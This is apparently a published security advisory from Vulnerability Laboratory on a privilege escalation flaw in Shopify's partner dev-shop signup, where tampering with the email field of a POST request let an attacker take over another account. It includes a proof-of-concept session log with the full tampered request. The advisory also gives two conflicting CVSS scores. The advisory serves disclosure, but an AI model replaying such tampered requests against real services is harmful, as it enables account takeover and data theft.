Shopify - (Applications) Privilege Escalation Vulnerability

Document Title:
===============
Shopify - (Applications) Privilege Escalation Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1549


Release Date:
=============
2018-06-14


Vulnerability Laboratory ID (VL-ID):
====================================
1549


Common Vulnerability Scoring System:
====================================
7.6


Vulnerability Class:
====================
Privilege Escalation


Current Estimated Price:
========================
5.000€ - 10.000€


Product & Service Introduction:
===============================
Shopify is a Canadian commerce company headquartered in Ottawa, Ontario that develops computer software for online stores and retail 
point-of-sale systems. Shopify was founded in 2004, and was initially based on earlier software written by its founders for their online 
snowboard store. The company reports that it has 150,000 merchants using its platform, with total gross merchandise volume exceeding $8 billion.

(Copy of the Homepage:  https://en.wikipedia.org/wiki/Shopify )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a privilege escalate web vulnerability in the official Shopify online service web-application.


Vulnerability Disclosure Timeline:
==================================
2018-06-15: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Shopify Inc.
Product: Shopify - Online Service (Web-Application) 2015 Q3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Authentication Type:
====================
Restricted Authentication (Guest Privileges)


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A local privilege escalate web security vulnerability has been discovered in the official Shopify online-service web-application.
The issue allows local low privilege application user accounts to compromise the system by an escalate of local account privileges.

The security vulnerability is located in the `email` value of the `dev_shops/new` module POST method request. Local low privilege 
application user accounts are able to intercept the vulnerable email value by tampering the http POST method request. Thus allows 
attackers to escalate the privileges of an existing account by manipulation of the email value. The attack vector of the issue is 
server-side and the request method to manipulate is POST.

The security risk of the privilege escalate is estimated as high with a cvss (common vulnerability scoring system) count of 6.2.
Exploitation of the application-side web vulnerability requires a low privilege web-application user account and no user interaction.
Successful exploitation of the vulnerabilities results in account system compromise by unauthorized escalte of service privileges.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] app.shopify.com/services/partners/dev_shops/new

Vulnerable Parameter(s):
[+] Email

Affected Module(s):
[+] @shopify.com


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with low privilege web-application user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Note: When users create new shops, they cannot change the login account email, but in case of tampering the http protocol data, 
it is possible to manipulate the content. In the exploitation process the email used was [email protected].  After the attack our 
team was able to access the [email protected] account contents and sensitive data. 


--- PoC Session Logs ---
Status: 200[OK]
POST https://app.shopify.com/services/partners/dev_shops
Mime Type[application/json]
Request Headers:
Host[app.shopify.com]
User-Agent[Mozilla/5.0 (X11; Linux i686; rv:39.0) Gecko/20100101 Firefox/39.0]
Accept[text/javascript, text/html, application/xml, text/xml, /]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
X-NewRelic-ID[VQQUUFNS]
X-Requested-With[XMLHttpRequest]
X-Prototype-Version[1.7]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
Referer[https://app.shopify.com/services/partners/dev_shops/new]
Content-Length[465]
Cookie[shopify_s=
X-Forwarded-For[8.8.8.8]
Connection[keep-alive]
Post Data:
POST_DATA[utf8=%E2%9C%93&authenticity_token=0BsAcm1aYKeW%2BhuFMkaR4IgQhY5RAsgOx0q6EjCKNSk%3D&signup%5Baddress1%5D=kJKHkjh&signup%5Bzip%5D=16000&signup
%5Bcountry%5D=DZ&signup%5Bprovince%5D=&signup%5Bcity%5D=kjhkjh&signup%5Bphone%5D=897897&signup%5Bfirst_name%5D=bb-research&signup%5Blast_name%5D=vulnerability_labs&
ref=zero-way&signup%5Bshop_name%5D=test&shop_features=online&signup%5Bemail%5D=admin%40shopify.com&signup%5Bpassword%5D=abcdefghij&signup%5Bpassword_confirmation%5D=abcdefghij]
-
Response Header Information:
Status: 200[OK]
Server[nginx]
Content-Type[application/json; charset=utf-8]
Transfer-Encoding[chunked]
Connection[keep-alive]
X-Sorting-Hat-PodId[-1]
X-Sorting-Hat-PodId-Cached[0]
X-Sorting-Hat-ShopId-Cached[0]
Vary[Accept-Encoding]
x-xss-protection[1; mode=block; report=/xss-report/c79cf53b-6493-493e-a152-852e250363dd?source%5Baction%5D=create&source%5Bcontroller%5D=services%2Fpartners%2Fdevshops&source%5Bsection%5D=services-partners]
x-content-type-options[nosniff, nosniff]
X-Frame-Options[DENY]
X-NewRelic-App-Data[PxQGU0VSDQISSEMhWF9DFAtdWlYQOkwRVRBOC1tdR24cFVgTRQ9WEBdqGAUDFWdAWAsREWseVBQBUEJWQEpTTABSCVoIDwYAB1EJWQhSBldQARtRSFoKAQVSWVIPAw9WXQUCC1BKTlMcQAtSCgwCCwFRDlkDAAQEVgMVPA==]
Strict-Transport-Security[max-age=315576000; includeSubdomains]
X-Request-Id[c79cf53b-6493-493e-a152-852e250363dd]
P3P[CP="NOI DSP COR NID ADMa OPTa OUR NOR"]
Content-Encoding[gzip]
X-Dc[ash]


Reference(s):
https://app.shopify.com/services/partners/dev_shops/new


Solution - Fix & Patch:
=======================
The full impact of the security issue was finally resolved in 2017 Q3-Q4. The disclosure process took about 8 months after the patch was established.


Security Risk:
==============
The security risk of the privilege escalatate web vulnerability in the shopify module is estimated as high. (CVSS 7.6).


Credits & Authors:
==================
Vulnerability Laboratory [Core Research Team] - ([email protected]) [www.vulnerability-lab.com]


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=========================
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